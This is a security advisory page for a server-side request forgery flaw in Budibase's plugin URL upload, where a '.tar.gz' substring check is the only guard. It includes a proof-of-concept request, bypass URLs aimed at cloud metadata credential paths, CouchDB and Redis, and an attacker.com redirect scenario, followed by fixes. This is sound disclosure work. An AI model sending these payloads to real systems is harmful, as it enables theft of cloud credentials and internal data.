GHSA-XH5J-727M-W6GG

Vulnerability from github – Published: 2026-05-11 16:20 – Updated: 2026-05-11 16:20
VLAI
Summary
Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)
Details

1. Summary

Field Value
Title SSRF via trivial .tar.gz substring bypass in Plugin URL upload
Product Budibase (Self-Hosted)
Version ≤ 3.34.11 (latest stable as of 2026-03-30)
Component packages/server/src/api/controllers/plugin/url.ts
Vulnerability Type CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs
Severity High (chained) / Medium (standalone)
CVSS 3.1 Score (chained) 7.7 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CVSS 3.1 Score (standalone) 5.4 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector Network
Privileges Required Low (Global Builder role)
User Interaction None
Affected Deployments All Budibase instances with plugin loading enabled (default)

2. Description

The Plugin URL upload endpoint (POST /api/plugin) validates the submitted URL with a single substring check: url.includes(".tar.gz"). Any URL containing .tar.gz anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to fetchWithBlacklist() with no further validation of host, scheme, or path.

Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the BLACKLIST_IPS bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default node-fetch behavior with redirect: 'follow').

The developer team's own test suite (objectStore.spec.ts:393) tests that downloadTarballDirect passes through fetchWithBlacklist — confirming they're aware of the SSRF risk on this path. The .tar.gz substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.


3. Root Cause Analysis

3.1 Trivial substring-based URL validation

File: packages/server/src/api/controllers/plugin/url.ts

// Lines 7-19
export async function urlUpload(url: string, name = "", headers = {}) {
  if (!url.includes(".tar.gz")) {
    // ← ONLY validation: any URL with ".tar.gz" anywhere passes
    throw new Error("Plugin must be compressed into a gzipped tarball.")
  }

  const path = await downloadUnzipTarball(url, name, headers)
  // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization
  try {
    return await getPluginMetadata(path)
  } catch (err) {
    deleteFolderFileSystem(path)
    throw err
  }
}

Problem: url.includes(".tar.gz") checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that .tar.gz appears as an actual file extension at the end of the path.

3.2 Bypass examples

Attack URL includes(".tar.gz") Actual request target
http://169.254.169.254/.tar.gz ✅ passes AWS IMDS
http://127.0.0.1:4005/_session.tar.gz ✅ passes CouchDB
http://10.0.0.1:6379/.tar.gz ✅ passes Redis
http://attacker.com/file.tar.gz?x=http://internal/ ✅ passes Redirect to internal
http://internal-host/.tar.gz#fragment ✅ passes Internal service

3.3 Developer awareness of SSRF risk on this path

File: packages/backend-core/src/objectStore/tests/objectStore.spec.ts

// Line 393
it("uses fetchWithBlacklist in downloadTarballDirect", async () => {
  downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp")
  // ← team explicitly tests that IMDS is blocked via blacklist
})

The team knows this code path can reach IMDS. They rely on fetchWithBlacklist as the defense — but never tested the .tar.gz substring bypass that trivially routes around it at the URL validation layer.

3.4 Authorization model

Operation Endpoint Required Permission
Plugin URL upload POST /api/plugin Global Builder

Key insight: The plugin endpoint is behind globalBuilderRoutes, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.


4. Impact Analysis

4.1 Confidentiality — High (chained) / Low (standalone)

When chained with [001] (BLACKLIST_IPS bypass): - AWS/GCP/Azure IMDS (169.254.169.254) — IAM credentials, service account tokens - CouchDB (127.0.0.1:4005) — application databases, user records - Redis (127.0.0.1:6379) — session tokens - Internal network services (172.16.0.0/12, 10.0.0.0/8)

Standalone (with default blacklist active): - Open redirect chains — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on node-fetch redirect behavior and whether fetchWithBlacklist re-checks the redirected URL.

4.2 Integrity — None (GET-only path)

The plugin URL upload uses GET-only semantics via fetchWithBlacklist. No write operations to internal services via this path.

4.3 Availability — None

No service disruption.

4.4 Scope Change (chained)

Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass.


5. Proof of Concept

Verification status: Code-level confirmed. End-to-end Docker test pending. PoC files are ready: poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py + docker-compose.yml

5.1 Environment Setup

# poc/004_plugin_url_ssrf/docker-compose.yml
services:
  budibase:
    image: budibase/budibase:latest
    environment:
      SELF_HOSTED: "1"
      BLACKLIST_IPS: ""          # ← enables chained SSRF (001)
      JWT_SECRET: "poc_jwt_secret"
      BB_ADMIN_USER_EMAIL: "poc@budibase.com"
      BB_ADMIN_USER_PASSWORD: "pocPassword123!"
    ports: ["10000:10000"]

  victim:
    image: python:3.11-alpine
    command: python -m http.server 8888
cd poc/004_plugin_url_ssrf
docker-compose up -d
python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000

5.2 Step 1 — Bypass the .tar.gz check with a crafted URL

POST /api/plugin HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<builder-session-cookie>
Content-Type: application/json

{
  "source": "URL",
  "url": "http://victim:8888/.tar.gz",
  "name": "poc-test"
}

The url.includes(".tar.gz") check passes because .tar.gz appears in the path. The URL http://victim:8888/.tar.gz is not a valid tarball — but the string check doesn't know that.

5.3 Step 2 — Expected response (SSRF confirmed)

With blacklist active (default config):

{ "message": "Failed to import plugin: URL is blocked or could not be resolved safely." }

With BLACKLIST_IPS="" (chained with 001):

{ "message": "Failed to import plugin: incorrect header check" }

The "incorrect header check" error (zlib decompressor receiving HTTP response headers) proves the request reached victim:8888. The .tar.gz substring check was bypassed, and the HTTP fetch completed.

5.4 Additional bypass payloads tested (code-level only)

URL Check bypass Intended target
http://169.254.169.254/.tar.gz AWS IMDS
http://127.0.0.1:4005/_session.tar.gz CouchDB
http://127.0.0.1:6379/.tar.gz Redis
http://attacker.com/real.tar.gz (redirects to http://10.0.0.1/) Internal via redirect

6. Attack Scenarios

Scenario A — Chained with [001]: AWS IMDS credential theft

1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)
2. Builder user sends:
   POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" }
3. Budibase fetches IMDS endpoint → receives IAM credentials JSON
4. zlib decompressor fails on non-gzip content → error response
5. Depending on logging config, credential material may appear in logs or error details

Scenario B — Standalone: Open redirect SSRF (default config)

1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin
2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" }
3. node-fetch follows redirect (default: redirect: 'follow')
4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached
5. Requires verification of redirect handling in fetchWithBlacklist

Scenario C — CouchDB data access (chained)

1. BLACKLIST_IPS="" enables internal access
2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz
3. CouchDB responds with JSON list of databases
4. zlib error confirms HTTP request reached CouchDB

7. Affected Code Paths

POST /api/plugin  (Global Builder auth)
    │
    ▼
packages/server/src/api/controllers/plugin/index.ts
    │  source === "URL" → urlUpload(url, name, headers)
    ▼
packages/server/src/api/controllers/plugin/url.ts:8
    │  if (!url.includes(".tar.gz")) throw   ← ONLY check — trivially bypassed
    │  → "http://169.254.169.254/.tar.gz" passes
    ▼
packages/server/src/utilities/fileSystem/plugins.ts
    │  downloadUnzipTarball(url, name, headers)
    ▼
packages/backend-core/src/objectStore/objectStore.ts:703
    │  downloadTarballDirect(url, path, headers)
    ▼
packages/backend-core/src/objectStore/utils/outboundFetch.ts
    │  fetchWithBlacklist(url, options)
    │  isBlacklisted(hostname)
    │
    ├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓
    │
    └─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗

8. Recommended Fixes

Fix 1 (High): Replace substring check with URL parsing and extension validation

// packages/server/src/api/controllers/plugin/url.ts

import { URL } from "url"

export async function urlUpload(url: string, name = "", headers = {}) {
  let parsed: URL
  try {
    parsed = new URL(url)
  } catch {
    throw new Error("Invalid plugin URL.")
  }

  // Only allow https:// scheme
  if (parsed.protocol !== "https:") {
    throw new Error("Plugin URL must use HTTPS.")
  }

  // Require the path to end with .tar.gz (not just contain it anywhere)
  if (!parsed.pathname.endsWith(".tar.gz")) {
    throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).")
  }

  const path = await downloadUnzipTarball(url, name, headers)
  // ...
}

Fix 2 (High): Re-check blacklist after redirect in fetchWithBlacklist

// packages/backend-core/src/objectStore/utils/outboundFetch.ts

// Current: only checks the original URL before fetch
// Fix: also intercept redirects and re-check each redirect target

const response = await nodeFetch(url, {
  ...options,
  redirect: "manual",  // don't auto-follow
})

if (response.status >= 300 && response.status < 400) {
  const redirectUrl = response.headers.get("location")
  if (redirectUrl) {
    const redirectHost = new URL(redirectUrl).hostname
    if (await isBlacklisted(redirectHost)) {
      throw new Error("URL is blocked or could not be resolved safely.")
    }
    // recursively fetch (with depth limit)
  }
}

Fix 3 (Medium): Add hostname allowlist option for plugin sources

Provide a PLUGIN_ALLOWED_HOSTS variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.


9. References

  • CWE-918: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html
  • CWE-184: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html
  • OWASP SSRF Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html
  • Related finding: [001] BLACKLIST_IPS bypass — report/raw/001_ssrf_blacklist_bypass.md
  • Developer SSRF awareness test: packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.34.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "budibase"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.35.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45061"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:20:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## 1. Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload |\n| **Product** | Budibase (Self-Hosted) |\n| **Version** | \u2264 3.34.11 (latest stable as of 2026-03-30) |\n| **Component** | `packages/server/src/api/controllers/plugin/url.ts` |\n| **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs |\n| **Severity** | High (chained) / Medium (standalone) |\n| **CVSS 3.1 Score (chained)** | 7.7 \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` |\n| **CVSS 3.1 Score (standalone)** | 5.4 \u2014 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` |\n| **Attack Vector** | Network |\n| **Privileges Required** | Low (Global Builder role) |\n| **User Interaction** | None |\n| **Affected Deployments** | All Budibase instances with plugin loading enabled (default) |\n\n---\n\n## 2. Description\n\nThe Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(\".tar.gz\")`. Any URL containing `.tar.gz` anywhere in the string \u2014 in the path, query string, or fragment \u2014 passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path.\n\nStandalone, this vulnerability is blocked by Budibase\u0027s default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: \u0027follow\u0027`).\n\nThe developer team\u0027s own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` \u2014 confirming they\u0027re aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is.\n\n---\n\n## 3. Root Cause Analysis\n\n### 3.1 Trivial substring-based URL validation\n\n**File**: `packages/server/src/api/controllers/plugin/url.ts`\n\n```typescript\n// Lines 7-19\nexport async function urlUpload(url: string, name = \"\", headers = {}) {\n  if (!url.includes(\".tar.gz\")) {\n    // \u2190 ONLY validation: any URL with \".tar.gz\" anywhere passes\n    throw new Error(\"Plugin must be compressed into a gzipped tarball.\")\n  }\n\n  const path = await downloadUnzipTarball(url, name, headers)\n  // \u2191 url is passed directly \u2014 no host allowlist, no scheme check, no path normalization\n  try {\n    return await getPluginMetadata(path)\n  } catch (err) {\n    deleteFolderFileSystem(path)\n    throw err\n  }\n}\n```\n\n**Problem**: `url.includes(\".tar.gz\")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path.\n\n### 3.2 Bypass examples\n\n| Attack URL | `includes(\".tar.gz\")` | Actual request target |\n|------------|----------------------|----------------------|\n| `http://169.254.169.254/.tar.gz` | \u2705 passes | AWS IMDS |\n| `http://127.0.0.1:4005/_session.tar.gz` | \u2705 passes | CouchDB |\n| `http://10.0.0.1:6379/.tar.gz` | \u2705 passes | Redis |\n| `http://attacker.com/file.tar.gz?x=http://internal/` | \u2705 passes | Redirect to internal |\n| `http://internal-host/.tar.gz#fragment` | \u2705 passes | Internal service |\n\n### 3.3 Developer awareness of SSRF risk on this path\n\n**File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts`\n\n```typescript\n// Line 393\nit(\"uses fetchWithBlacklist in downloadTarballDirect\", async () =\u003e {\n  downloadTarballDirect(\"http://169.254.169.254/metadata/v1/\", \"tmp\")\n  // \u2190 team explicitly tests that IMDS is blocked via blacklist\n})\n```\n\nThe team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense \u2014 but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer.\n\n### 3.4 Authorization model\n\n| Operation | Endpoint | Required Permission |\n|-----------|----------|---------------------|\n| Plugin URL upload | `POST /api/plugin` | Global Builder |\n\n**Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances.\n\n---\n\n## 4. Impact Analysis\n\n### 4.1 Confidentiality \u2014 High (chained) / Low (standalone)\n\nWhen chained with [001] (`BLACKLIST_IPS` bypass):\n- **AWS/GCP/Azure IMDS** (`169.254.169.254`) \u2014 IAM credentials, service account tokens\n- **CouchDB** (`127.0.0.1:4005`) \u2014 application databases, user records\n- **Redis** (`127.0.0.1:6379`) \u2014 session tokens\n- **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`)\n\nStandalone (with default blacklist active):\n- **Open redirect chains** \u2014 if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL.\n\n### 4.2 Integrity \u2014 None (GET-only path)\n\nThe plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path.\n\n### 4.3 Availability \u2014 None\n\nNo service disruption.\n\n### 4.4 Scope Change (chained)\n\nSame as [001]: crosses application \u2192 infrastructure boundary when combined with the blacklist bypass.\n\n---\n\n## 5. Proof of Concept\n\n\u003e **Verification status**: Code-level confirmed. End-to-end Docker test pending.\n\u003e PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml`\n\n### 5.1 Environment Setup\n\n```bash\n# poc/004_plugin_url_ssrf/docker-compose.yml\nservices:\n  budibase:\n    image: budibase/budibase:latest\n    environment:\n      SELF_HOSTED: \"1\"\n      BLACKLIST_IPS: \"\"          # \u2190 enables chained SSRF (001)\n      JWT_SECRET: \"poc_jwt_secret\"\n      BB_ADMIN_USER_EMAIL: \"poc@budibase.com\"\n      BB_ADMIN_USER_PASSWORD: \"pocPassword123!\"\n    ports: [\"10000:10000\"]\n\n  victim:\n    image: python:3.11-alpine\n    command: python -m http.server 8888\n```\n\n```bash\ncd poc/004_plugin_url_ssrf\ndocker-compose up -d\npython3 poc_004_plugin_url_ssrf.py --target http://localhost:10000\n```\n\n### 5.2 Step 1 \u2014 Bypass the `.tar.gz` check with a crafted URL\n\n```http\nPOST /api/plugin HTTP/1.1\nHost: localhost:10000\nCookie: budibase:auth=\u003cbuilder-session-cookie\u003e\nContent-Type: application/json\n\n{\n  \"source\": \"URL\",\n  \"url\": \"http://victim:8888/.tar.gz\",\n  \"name\": \"poc-test\"\n}\n```\n\nThe `url.includes(\".tar.gz\")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball \u2014 but the string check doesn\u0027t know that.\n\n### 5.3 Step 2 \u2014 Expected response (SSRF confirmed)\n\n**With blacklist active (default config):**\n```json\n{ \"message\": \"Failed to import plugin: URL is blocked or could not be resolved safely.\" }\n```\n\n**With `BLACKLIST_IPS=\"\"` (chained with 001):**\n```json\n{ \"message\": \"Failed to import plugin: incorrect header check\" }\n```\n\nThe `\"incorrect header check\"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed.\n\n### 5.4 Additional bypass payloads tested (code-level only)\n\n| URL | Check bypass | Intended target |\n|-----|-------------|-----------------|\n| `http://169.254.169.254/.tar.gz` | \u2705 | AWS IMDS |\n| `http://127.0.0.1:4005/_session.tar.gz` | \u2705 | CouchDB |\n| `http://127.0.0.1:6379/.tar.gz` | \u2705 | Redis |\n| `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | \u2705 | Internal via redirect |\n\n---\n\n## 6. Attack Scenarios\n\n### Scenario A \u2014 Chained with [001]: AWS IMDS credential theft\n\n```\n1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001)\n2. Builder user sends:\n   POST /api/plugin { \"source\": \"URL\", \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz\" }\n3. Budibase fetches IMDS endpoint \u2192 receives IAM credentials JSON\n4. zlib decompressor fails on non-gzip content \u2192 error response\n5. Depending on logging config, credential material may appear in logs or error details\n```\n\n### Scenario B \u2014 Standalone: Open redirect SSRF (default config)\n\n```\n1. Attacker controls external server: GET /plugin.tar.gz \u2192 302 \u2192 http://192.168.1.1/admin\n2. Builder user submits: POST /api/plugin { \"source\": \"URL\", \"url\": \"http://attacker.com/plugin.tar.gz\" }\n3. node-fetch follows redirect (default: redirect: \u0027follow\u0027)\n4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached\n5. Requires verification of redirect handling in fetchWithBlacklist\n```\n\n### Scenario C \u2014 CouchDB data access (chained)\n\n```\n1. BLACKLIST_IPS=\"\" enables internal access\n2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz\n3. CouchDB responds with JSON list of databases\n4. zlib error confirms HTTP request reached CouchDB\n```\n\n---\n\n## 7. Affected Code Paths\n\n```\nPOST /api/plugin  (Global Builder auth)\n    \u2502\n    \u25bc\npackages/server/src/api/controllers/plugin/index.ts\n    \u2502  source === \"URL\" \u2192 urlUpload(url, name, headers)\n    \u25bc\npackages/server/src/api/controllers/plugin/url.ts:8\n    \u2502  if (!url.includes(\".tar.gz\")) throw   \u2190 ONLY check \u2014 trivially bypassed\n    \u2502  \u2192 \"http://169.254.169.254/.tar.gz\" passes\n    \u25bc\npackages/server/src/utilities/fileSystem/plugins.ts\n    \u2502  downloadUnzipTarball(url, name, headers)\n    \u25bc\npackages/backend-core/src/objectStore/objectStore.ts:703\n    \u2502  downloadTarballDirect(url, path, headers)\n    \u25bc\npackages/backend-core/src/objectStore/utils/outboundFetch.ts\n    \u2502  fetchWithBlacklist(url, options)\n    \u2502  isBlacklisted(hostname)\n    \u2502\n    \u251c\u2500 [default config] \u2192 BlockList has 9 private ranges \u2192 169.254.x BLOCKED \u2713\n    \u2502\n    \u2514\u2500 [BLACKLIST_IPS set, chained with 001] \u2192 empty BlockList \u2192 169.254.x REACHABLE \u2717\n```\n\n---\n\n## 8. Recommended Fixes\n\n### Fix 1 (High): Replace substring check with URL parsing and extension validation\n\n```typescript\n// packages/server/src/api/controllers/plugin/url.ts\n\nimport { URL } from \"url\"\n\nexport async function urlUpload(url: string, name = \"\", headers = {}) {\n  let parsed: URL\n  try {\n    parsed = new URL(url)\n  } catch {\n    throw new Error(\"Invalid plugin URL.\")\n  }\n\n  // Only allow https:// scheme\n  if (parsed.protocol !== \"https:\") {\n    throw new Error(\"Plugin URL must use HTTPS.\")\n  }\n\n  // Require the path to end with .tar.gz (not just contain it anywhere)\n  if (!parsed.pathname.endsWith(\".tar.gz\")) {\n    throw new Error(\"Plugin must be compressed into a gzipped tarball (.tar.gz).\")\n  }\n\n  const path = await downloadUnzipTarball(url, name, headers)\n  // ...\n}\n```\n\n### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist`\n\n```typescript\n// packages/backend-core/src/objectStore/utils/outboundFetch.ts\n\n// Current: only checks the original URL before fetch\n// Fix: also intercept redirects and re-check each redirect target\n\nconst response = await nodeFetch(url, {\n  ...options,\n  redirect: \"manual\",  // don\u0027t auto-follow\n})\n\nif (response.status \u003e= 300 \u0026\u0026 response.status \u003c 400) {\n  const redirectUrl = response.headers.get(\"location\")\n  if (redirectUrl) {\n    const redirectHost = new URL(redirectUrl).hostname\n    if (await isBlacklisted(redirectHost)) {\n      throw new Error(\"URL is blocked or could not be resolved safely.\")\n    }\n    // recursively fetch (with depth limit)\n  }\n}\n```\n\n### Fix 3 (Medium): Add hostname allowlist option for plugin sources\n\nProvide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist.\n\n---\n\n## 9. References\n\n- **CWE-918**: Server-Side Request Forgery (SSRF) \u2014 https://cwe.mitre.org/data/definitions/918.html\n- **CWE-184**: Incomplete List of Disallowed Inputs \u2014 https://cwe.mitre.org/data/definitions/184.html\n- **OWASP SSRF Prevention Cheat Sheet** \u2014 https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html\n- **Related finding**: [001] `BLACKLIST_IPS` bypass \u2014 `report/raw/001_ssrf_blacklist_bypass.md`\n- **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`",
  "id": "GHSA-xh5j-727m-w6gg",
  "modified": "2026-05-11T16:20:27Z",
  "published": "2026-05-11T16:20:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-xh5j-727m-w6gg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase vulnerable to SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload (`/api/plugin`)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…